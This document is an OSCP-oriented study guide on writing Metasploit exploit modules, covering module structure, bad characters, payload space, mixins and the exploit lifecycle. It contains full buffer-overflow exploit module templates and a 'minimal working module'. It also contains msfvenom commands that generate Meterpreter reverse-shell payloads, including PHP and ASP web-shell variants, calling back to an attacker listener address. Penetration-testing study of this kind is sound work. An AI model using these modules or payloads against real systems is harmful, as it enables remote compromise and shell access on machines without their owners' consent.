Exploit Development with Metasploit
1. Why Understand Exploit Development?
Even if you do not plan to write your own Metasploit modules during the OSCP exam, understanding how exploit modules are built internally provides significant practical advantages:
- Customization: Many real-world vulnerabilities do not have ready-made Metasploit modules. Knowing the structure helps you adapt existing payloads or quickly author a minimal module when needed.
- Debugging: When a module fails to work against a target (wrong target offset, bad characters corrupting the payload, architecture mismatch), understanding internals lets you diagnose and fix the issue rather than blindly trying options.
- Manual Exploitation Insight: Metasploit modules are essentially automated versions of manual exploitation steps. Understanding modules deepens your grasp of buffer overflows, SEH overrides, ROP chains, and return-oriented programming.
- Exam Edge: While OSCP rarely requires writing modules from scratch, questions and scenarios may test your understanding of bad characters, payload space constraints, or module properties.
- Post-Exam Career: In professional penetration testing and vulnerability research, module authorship and customization are common tasks.
Key Mindset: You do not need to be a Ruby expert. You need to understand the structure, properties, and lifecycle so you can read, modify, and troubleshoot modules confidently.
2. Metasploit Module Structure
Every Metasploit exploit module is a Ruby class that inherits from a base class and follows a strict convention. Below is a complete annotated template.
Complete Ruby Module Template
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Example Vulnerable Application Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in Example App
version 1.0 by overflowing a user-controlled input buffer.
},
'Author' => [
'Your Name', # Module author
'SomeOneElse <email@x.y>' # Co-author with email
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-12345'],
['OSVDB', '12345'],
['URL', 'http://example.com/advisory.txt']
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'PayloadType' => 'reverse_tcp',
'Privileged' => false,
'Targets' => [
['Automatic', {}],
['Example App 1.0 on Windows XP SP3',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
'Offset' => 2006,
'Ret' => 0x7c17120b # jmp esp in kernel32.dll
}
],
['Example App 1.0 on Windows 7 SP1',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
'Offset' => 2006,
'Ret' => 0x75282d30 # jmp esp in kernel32.dll
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 01 2026'
))
register_options([
Opt::RPORT(8080)
])
end
def check
# Determine if the target is vulnerable
connect
banner = sock.get(-1, 10)
disconnect
if banner && banner =~ /Example App v1\.0/
return CheckCode::Vulnerable
end
return CheckCode::Safe
end
def exploit
connect
# Build the exploit buffer
sploit =
"\x41" * target['Offset'] + # Padding (cyclic pattern in real usage)
[target.ret].pack('V') + # Overwritten EIP
payload.encoded + # Shellcode
"\x42" * (5000 - offset - 4 - payload.encoded.length) # Remaining buffer
print_status("Sending exploit (#{sploit.length} bytes)...")
sock.put(sploit + "\r\n")
handler
disconnect
end
end
Section-by-Section Breakdown
| Section | Purpose |
|---|---|
class MetasploitModule < Msf::Exploit::Remote |
Class declaration and inheritance. Determines the module type. |
Include Msf::Exploit::Remote::Tcp |
Mixin that provides connect, sock, disconnect methods for TCP communication. |
def initialize(info = {}) |
Constructor. Calls super(update_info(info, ...)) to set all module metadata. |
register_options([...]) |
Registers user-configurable options (RHOST, RPORT, etc.). |
def check |
Optional method that determines vulnerability status without exploiting. |
def exploit |
The main exploitation logic. Sends the payload and triggers the vulnerability. |
3. Key Module Properties
3.1 Class Inheritance
The base class you inherit from determines the module category and available methods:
| Base Class | Module Type | Use Case |
|---|---|---|
Msf::Exploit::Remote |
Remote network exploit | Services reachable over the network (TCP, HTTP, SMB, etc.) |
Msf::Exploit::Local |
Local privilege escalation | Running on the target already; escalating privileges |
Msf::Exploit::FileFormat |
File format exploit | Crafting malicious files (PDFs, DOCX, etc.) |
Msf::Exploit::Singleton |
Single-instance exploit | Modules that should only run one instance at a time |
3.2 Rank Setting
The Rank property tells Metasploit how reliable a module is:
'Rank' => NormalRanking
| Rank Value | Meaning |
|---|---|
NullRanking |
Unusable; should not be selected automatically |
AuxiliaryRanking |
Not a real exploit; used for scanning/enumeration |
NormalRanking |
Standard reliability |
GoodRanking |
Tested and reliable |
GreatRanking |
Very reliable; works consistently |
ManualRanking |
Requires manual configuration to work |
3.3 All initialize Info Fields Reference
super(update_info(info,
'Name' => 'Module Display Name',
'Description' => 'Multi-line description of the vulnerability',
'Author' => ['Author Name'],
'License' => MSF_LICENSE,
'References' => [['CVE', '2026-12345']],
'Version' => '$Revision$',
'Platform' => ['win', 'linux', 'osx', 'java', 'php'],
'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_JAVA],
'Privileged' => true, # Does the payload run as admin/root?
'Targets' => [...],
'Payload' => {
'Space' => 4000, # Max payload size in bytes
'BadChars' => "\x00\x0a\x0d", # Characters that break the payload
'StackAdjustment' => -35 # ESP adjustment before executing payload
},
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 01 2026',
'DefaultOptions' => {
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
}
))
3.4 Targets Array
Targets define per-variant specifics (offsets, return addresses, etc.):
'Targets' => [
['Automatic', {}],
['Vendor App 2.0 on Windows XP SP3',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
'Offset' => 2006,
'Ret' => 0x7c17120b,
'Nops' => 16
}
],
['Vendor App 2.0 on Windows 7',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
'Offset' => 2006,
'Ret' => 0x75282d30
}
]
]
- Automatic target (
index 0): Metasploit attempts to auto-detect the correct sub-target. - Each sub-target is a hash with keys like
Offset,Ret,Offset2, etc. - Access target properties in code via
target['Offset'],target.ret, etc.
3.5 Payload Configuration
'Payload' => {
'Space' => 4000,
'BadChars' => "\x00\x0a\x0d",
'StackAdjustment' => -35,
'DisableNops' => true
}
| Property | Description |
|---|---|
Space |
Maximum number of bytes available for the payload. Metasploit will warn if the encoded payload exceeds this. |
BadChars |
Characters that must not appear in the encoded payload. Encoders will avoid these. |
StackAdjustment |
Adjusts the ESP register before jumping to the payload. Useful when ESP is slightly off. |
DisableNops |
When true, prevents Metasploit from prepending NOP sleds. |
3.6 Register Options
register_options([
Opt::RHOST, # Required remote host
Opt::RPORT(80), # Required remote port with default
OptString.new('USERNAME', [false, 'Username for authentication', 'admin']),
OptString.new('PASSWORD', [false, 'Password for authentication', '']),
OptBool.new('SSL', [false, 'Use SSL', false]),
OptInt.new('TIMEOUT', [false, 'Socket timeout', 10])
])
| Option Type | Description |
|---|---|
Opt::RHOST |
Required; remote host IP |
Opt::RPORT(port) |
Required; remote port (with default) |
OptString.new('NAME', [required, desc, default]) |
String option |
OptBool.new('NAME', [required, desc, default]) |
Boolean option |
OptInt.new('NAME', [required, desc, default]) |
Integer option |
OptEnum.new('NAME', [required, choices, default]) |
Enumerated option |
4. Bad Characters
4.1 What Are Bad Characters?
Bad characters are byte values that, when present in a payload, cause the exploit to fail. They corrupt or terminate the payload before it reaches execution.
4.2 Common Bad Characters
| Bad Char | Hex | Why It Breaks Things |
|---|---|---|
| Null byte | \x00 |
C string terminator. Functions like strcpy(), strcat() stop copying at \x00. |
| Line feed | \x0a |
Newline character. Terminates line-based input (e.g., fgets(), network protocols that use \r\n). |
| Carriage return | \x0d |
Carriage return. Same as above; part of \r\n line endings. |
| Space | \x20 |
Sometimes treated as a delimiter in certain parsers. |
| Single quote | \x27 |
Breaks string literals in some contexts. |
| Double quote | \x22 |
Breaks quoted strings. |
| Backslash | \x5c |
Escape character in many contexts. |
4.3 Why Bad Characters Matter
If your shellcode contains a bad character:
- Null byte (
\x00): The buffer copy function stops early. Your payload is truncated, and you get no shell. \x0a/\x0d: In network protocols, these may terminate the request. The server processes a partial payload.- Other chars: Depending on the application, certain bytes may be filtered, escaped, or cause parsing errors.
4.4 How to Identify Bad Characters
Step-by-step methodology:
# Step 1: Create a test pattern with ALL possible bytes (0x01 through 0xff)
# Note: Skip \x00 initially since it is almost always bad
badchars = [
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
]
Testing Process:
- Send the full bad char string as part of your exploit buffer (in place of the payload).
- Debug the crash in Immunity Debugger / x64dbg.
- Compare the bytes in memory against your original string.
- Identify missing or altered bytes — these are your bad characters.
- Remove the bad chars from the string and repeat until the full string appears intact in memory.
Original: 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D ...
In Memory: 01 02 03 04 05 06 07 08 09 0B ...
^^ ^^ ^^
0A 0C 0D are MISSING = bad chars
4.5 How to Handle Bad Characters
In Metasploit modules, set the BadChars property:
'Payload' => {
'Space' => 4000,
'BadChars' => "\x00\x0a\x0d"
}
Metasploit’s encoder framework automatically selects an encoder that avoids these characters.
Common encoders and their bad char handling:
| Encoder | Bad Characters Avoided | Description |
|---|---|---|
x86/shikata_ga_nai |
Configurable via BADCHARS |
Polymorphic encoder; most commonly used |
x86/cjk |
Configurable | Uses CJK Unicode encoding |
x86/unicode_upper |
Configurable | Upper-case Unicode encoding |
x86/countenc |
Configurable | Counting encoder |
x86/alpha_mixed |
ASCII printable only | Alpha-numeric only output |
Setting encoder options in msfconsole:
msf6 exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(handler) > set ENCODER x86/shikata_ga_nai
msf6 exploit(handler) > set BADCHARS "\x00\x0a\x0d"
msf6 exploit(handler) > set BUFFERREGSIZE 4000
msf6 exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(handler) > exploit
In manual exploitation (outside Metasploit):
- Use
msfvenomwith encoder options:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4443 \
-b "\x00\x0a\x0d" -f python -v shellcode
The -b flag specifies bad characters to avoid.
5. Payload Constraints
5.1 Space Limitations
Every vulnerability has a maximum payload size determined by the buffer size and exploit technique:
'Payload' => {
'Space' => 4000 # Maximum 4000 bytes for the payload
}
Factors affecting available space:
| Factor | Impact |
|---|---|
| Buffer size | Larger buffers = more space for shellcode |
| Offset to EIP | Larger offset = more padding = less space for payload |
| Encoder overhead | Encoders increase payload size (shikata_ga_nai adds ~20-50% overhead) |
| NOP sled | NOP sled bytes reduce available space for actual shellcode |
Calculating available space:
Available Space = Total Buffer Size - Offset - 4 (EIP) - Encoder Overhead
Example:
Buffer Size: 5000 bytes
Offset to EIP: 2006 bytes
EIP overwrite: 4 bytes
Encoder overhead: ~500 bytes (estimated)
-------------------------------------------
Payload space: ~2490 bytes
5.2 Architecture Matching
The payload architecture must match the target process architecture:
| Target Arch | Module Arch | Compatible Payloads |
|---|---|---|
| 32-bit (x86) | ARCH_X86 |
windows/meterpreter/reverse_tcp (x86) |
| 64-bit (x64) | ARCH_X64 |
windows/x64/meterpreter/reverse_tcp |
| 32-bit process on 64-bit OS | ARCH_X86 |
x86 payloads work in WOW64 |
Important: A 64-bit Windows system can run 32-bit processes (WOW64). If the vulnerable application is 32-bit, use x86 payloads even on a 64-bit OS.
5.3 Staged vs. Non-Staged Payloads
| Type | Example | Description |
|---|---|---|
| Staged | windows/meterpreter/reverse_tcp |
Small initial stub downloads the full payload. Smaller footprint, more features. |
| Non-staged | windows/meterpreter_reverse_tcp (no slash before reverse) |
Entire payload in one shot. Larger, but works where staging fails. |
Naming convention:
- Staged:
platform/payload_type/transport(e.g.,windows/meterpreter/reverse_tcp) - Non-staged:
platform/payload_type_transport(e.g.,windows/meterpreter_reverse_tcp)
When to use non-staged:
- Very limited space where even the stage stub is too large
- Network restrictions blocking the second stage connection
- Unreliable network connections
6. Include Modules (Mixins)
Mixins provide reusable functionality. You include them at the top of your module:
class MetasploitModule < Msf::Exploit::Remote
Include Msf::Exploit::Remote::Tcp
# or other mixins...
Common Mixins
| Mixin | Provides | Use Case |
|---|---|---|
Msf::Exploit::Remote::Tcp |
connect, sock, disconnect |
Raw TCP services |
Msf::Exploit::Remote::HttpServer |
HTTP server methods | Modules that host an HTTP server |
Msf::Exploit::Remote::HttpClient |
send_request_cgi, send_request_cgi! |
HTTP client attacks |
Msf::Exploit::Remote::Smb |
SMB protocol methods | SMB-based exploits |
Msf::Exploit::Remote::Ftp |
FTP protocol methods | FTP server exploits |
Msf::Exploit::FileFormat |
File generation helpers | Malicious file creation (PDFs, docs) |
Msf::Exploit::Seh |
SEH overflow helpers | Structured Exception Handler overflows |
Msf::PayloadHandler |
handler method |
Spawns the payload handler thread |
Msf::Exploit::Remote::Dcerpc |
MSRPC methods | DCERPC-based exploits |
Msf::Auxiliary::Report |
Reporting methods | Vulnerability reporting |
Tcp Mixin Example
Include Msf::Exploit::Remote::Tcp
def exploit
connect # Opens TCP connection to RHOST:RPORT
banner = sock.get(-1, 10) # Read from socket
sock.put("EXPLOIT_PAYLOAD") # Write to socket
handler # Start payload handler
disconnect # Close connection
end
HttpClient Mixin Example
Include Msf::Exploit::Remote::HttpClient
def exploit
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('/vulnerable.php'),
'data' => payload.encoded
}, 25)
if res && res.code == 200
print_good("Payload delivered successfully")
end
handler
end
SEH Mixin Example
Include Msf::Exploit::Seh
def exploit
# Build SEH record overwrite
seh_record =
generate_seh_short_jump + # SEH handler pointer (with short jump)
[target.ret].pack('V') + # Next SEH pointer
"\x90" * target['Nops'] + # NOP sled
payload.encoded # Shellcode
# ... send seh_record to trigger the overflow
end
7. The Exploit Lifecycle
A typical Metasploit exploit follows this lifecycle:
┌─────────────────────────────────────────────────────────┐
│ Exploit Lifecycle │
├─────────────────────────────────────────────────────────┤
│ │
│ 1. connect() │
│ └─ Establish network connection to target │
│ │
│ 2. Authenticate / Enumerate (optional) │
│ └─ Log in, gather version info, etc. │
│ │
│ 3. Build Payload Buffer │
│ └─ Construct: padding + overwrite + shellcode │
│ │
│ 4. Send Exploit │
│ └─ Deliver the crafted buffer via sock.put() │
│ │
│ 5. handler │
│ └─ Spawn payload handler to catch incoming connection│
│ │
│ 6. Session Callback │
│ └─ Metasploit framework manages the session │
│ │
│ 7. disconnect() │
│ └─ Clean up the connection │
│ │
└─────────────────────────────────────────────────────────┘
Detailed Lifecycle Code
def exploit
# --- Phase 1: Connect ---
connect
print_status("Connected to #{rhost}:#{rport}")
# --- Phase 2: Authenticate (if needed) ---
banner = sock.get(-1, 10)
print_status("Banner: #{banner.chomp}")
# --- Phase 3: Build the exploit buffer ---
offset = target['Offset']
ret_addr = [target.ret].pack('V')
shellcode = payload.encoded
# Use cyclic pattern for debugging (Monra / pattern_create)
# padding = Rex::Text.pattern_create(offset)
sploit =
"\x41" * offset + # Padding to reach EIP
ret_addr + # Overwrite EIP with controlled return address
shellcode + # Our payload
"\x42" * (5000 - offset - 4 - shellcode.length) # Fill remaining buffer
# --- Phase 4: Send the exploit ---
print_status("Sending #{sploit.length} bytes...")
sock.put(sploit + "\r\n")
# --- Phase 5: Handle the payload ---
handler
# --- Phase 6: Clean up ---
disconnect
end
Key Methods Explained
| Method | Description |
|---|---|
connect |
Opens a TCP connection to RHOST:RPORT. Sets up sock object. |
sock.get(length, timeout) |
Reads from the socket. -1 means read until timeout. |
sock.put(data) |
Writes data to the socket. |
disconnect |
Closes the socket connection. |
handler |
Spawns a payload handler thread. Waits for the reverse/bind connection. |
payload.encoded |
Returns the encoded payload bytes (after encoder processing). |
print_status(msg) |
Prints a status message to the console. |
print_good(msg) |
Prints a success message (green). |
print_error(msg) |
Prints an error message (red). |
print_warning(msg) |
Prints a warning message (yellow). |
8. Check Method
The check method allows Metasploit to determine if a target is vulnerable without actually exploiting it. This is used by scan, autosession, and reporting features.
CheckCode Return Values
| Return Value | Meaning | Console Color |
|---|---|---|
CheckCode::Appears / CheckCode::Vulnerable |
Target is vulnerable | Green |
CheckCode::Detected |
Service is running but version unknown | Blue |
CheckCode::Safe |
Target is NOT vulnerable | Red |
CheckCode::Unknown |
Could not determine vulnerability status | Yellow |
Check Method Example
def check
begin
connect
banner = sock.get(-1, 10)
disconnect
if banner.nil?
vprint_warning("No banner received")
return CheckCode::Unknown
end
# Check for vulnerable version
if banner =~ /Example App v1\.0/
vprint_good("Target appears to be running vulnerable version")
return CheckCode::Vulnerable
elsif banner =~ /Example App v2\.[0-9]/
vprint_good("Target appears to be patched (v2.x)")
return CheckCode::Safe
else
vprint_warning("Could not determine version from banner")
return CheckCode::Unknown
end
rescue ::Timeout::Error
vprint_warning("Connection timed out")
return CheckCode::Unknown
rescue ::Errno::ECONNREFUSED
vprint_warning("Connection refused")
return CheckCode::Unknown
end
end
Why Check Methods Matter
- Automated scanning:
db_nmapand auxiliary scanners usecheckto identify vulnerable hosts. - Safety: Prevents accidental exploitation of patched systems.
- Reporting: Generates vulnerability reports for clients.
- Module quality: Modules with proper
checkmethods are ranked higher.
Note:
vprint_*methods (e.g.,vprint_good,vprint_warning) only print duringcheckmode. Regularprint_*methods always print.
9. Practical Module Development Tips
9.1 Using Cyclic Patterns for Offset Discovery
# In the exploit method, use a cyclic pattern instead of "A"*offset
# during development to find the exact crash offset
require 'rex'
# Generate a 3000-byte cyclic pattern
pattern = Rex::Text.pattern_create(3000)
# Send the pattern
sock.put(pattern + "\r\n")
# When the crash occurs, check EIP in the debugger
# Use pattern_offset to find the exact offset:
# msf > pattern_offset -l <EIP_VALUE>
# Or in Immunity: !mona find -s <EIP_VALUE> -m <module>
9.2 Finding Safe Return Addresses
# Using mona in Immunity Debugger to find good JMP/CALL instructions
# !mona find -s "\\xff\\xe4" -m kernel32 # Find JMP ESP in kernel32
# !mona modules # List all loaded modules
# !mona nosep # Find modules without SEH
# In the module, use the found address:
'Ret' => 0x7c17120b # JMP ESP in kernel32.dll (Windows XP)
9.3 Handling Different Target OS Versions
'Targets' => [
['Automatic', {}],
['Windows XP SP3',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
'Offset' => 2006,
'Ret' => 0x7c17120b # kernel32.dll JMP ESP
}
],
['Windows 7 SP1',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
'Offset' => 2006,
'Ret' => 0x75282d30 # kernel32.dll JMP ESP
}
],
['Windows 10',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
'Offset' => 2006,
'Ret' => 0x760e1a3f # Different address due to ASLR considerations
}
]
]
9.4 Complete Minimal Working Module
##
# This module requires Metasploit: https://metasploit.com/download
##
class MetasploitModule < Msf::Exploit::Remote
Include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'My Custom Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in MyService.
},
'Author' => ['OSCP Student'],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Payload' => {
'Space' => 3000,
'BadChars' => "\x00\x0a\x0d"
},
'Targets' => [
['MyService 1.0 on Windows XP',
{
'Offset' => 2006,
'Ret' => 0x7c17120b
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2026-01-01'
))
register_options([
Opt::RPORT(21)
])
end
def exploit
connect
sploit =
"\x41" * target['Offset'] +
[target.ret].pack('V') +
"\x90" * 16 +
payload.encoded
print_status("Sending exploit to #{rhost}:#{rport} ...")
sock.put(sploit + "\r\n")
handler
disconnect
end
end
10. OSCP Relevance
What You NEED to Know for OSCP
| Topic | Priority | Why |
|---|---|---|
| Bad characters concept | High | You will encounter them in manual exploitation and need to use -b flag with msfvenom |
| Payload space constraints | High | Understanding why a payload might be too large |
| Staged vs non-staged payloads | High | Critical for reliable shell delivery |
| Module properties (Targets, Ret, Offset) | Medium | Helps you understand why you might need to modify a module |
msfvenom encoder usage |
High | Daily tool for payload generation |
| Reading existing modules | Medium | Useful for understanding attack patterns |
What You DO NOT Need for OSCP
| Topic | Priority | Why |
|---|---|---|
| Writing full modules from scratch | Low | OSCP provides existing modules; focus on using them |
| Deep Ruby programming | Low | Basic Ruby reading comprehension is enough |
| Complex mixin usage | Low | Not required for exam scenarios |
| Check method implementation | Low | Nice to know, not exam-critical |
Essential msfvenom Commands for OSCP
# Basic reverse shell with bad char avoidance
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4443 \
-b "\x00\x0a\x0d" \
-f python -v shellcode
# With shikata_ga_nai encoder (multiple passes for polymorphism)
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4443 \
-b "\x00" \
-e x86/shikata_ga_nai -i 3 \
-f raw -o payload.bin
# Check payload size
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4443 \
-b "\x00\x0a\x0d" \
-e x86/shikata_ga_nai -i 5 \
| wc -c
# Non-staged payload (when space allows)
msfvenom -p windows/meterpreter_reverse_tcp \
LHOST=10.10.14.3 LPORT=4443 \
-b "\x00" \
-f csharp
# Linux payload
msfvenom -p linux/x86/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4443 \
-f python
# PHP payload for web shells
msfvenom -p php/meterpreter_reverse_tcp \
LHOST=10.10.14.3 LPORT=4443 \
-f raw
# ASP payload
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.3 LPORT=4443 \
-f asp -o shell.asp
11. Quick Reference Cheat Sheet
Module File Locations
| Module Type | Path in Metasploit |
|---|---|
| Exploits | modules/exploits/ |
| Payloads | modules/payloads/ |
| Encoders | modules/encoders/ |
| Nops | modules/nops/ |
| Auxiliary | modules/auxiliary/ |
| Post | modules/post/ |
| Evasion | modules/evasion/ |
Common Architecture Constants
| Constant | Value | Description |
|---|---|---|
ARCH_X86 |
x86 | 32-bit Intel/AMD |
ARCH_X64 |
x64 | 64-bit Intel/AMD |
ARCH_ARMLE |
ARM LE | 32-bit ARM little-endian |
ARCH_ARM64 |
ARM64 | 64-bit ARM |
ARCH_JAVA |
Java | Java bytecode |
ARCH_PHP |
PHP | PHP interpreter |
Pack Format Reference
# Common pack formats for building exploit buffers
[address].pack('V') # 32-bit little-endian (x86 return addresses)
[address].pack('N') # 32-bit big-endian
[address].pack('Q<') # 64-bit little-endian (x64 return addresses)
[address].pack('q<') # 64-bit signed little-endian
Debugging Checklist
When a module does not work:
- Verify target is correct:
show targets,set TARGET <n> - Check bad characters: Are your bad chars correct? Try different encoders.
- Verify offset: Use cyclic patterns to confirm the exact crash offset.
- Check return address: Is the RET address valid for this specific OS/version?
- Payload size: Is the encoded payload within the
Spacelimit? - Architecture: Is the payload architecture matching the target process?
- Network: Can you reach the target? Is a firewall blocking the connection?
- Encoder iterations: Too many encoder passes can produce invalid shellcode.
Summary
Understanding Metasploit exploit module development gives you:
- Deeper comprehension of how buffer overflows, SEH exploits, and ROP chains work in practice.
- Ability to troubleshoot when existing modules fail against a target.
- Confidence in using msfvenom with proper encoder and bad character settings.
- Foundation for professional work beyond the OSCP exam in vulnerability research and penetration testing.
While you will not be expected to write production-quality modules during the OSCP exam, the concepts of bad characters, payload constraints, target-specific offsets, and return addresses are fundamental to successful exploitation — whether through Metasploit or manual techniques.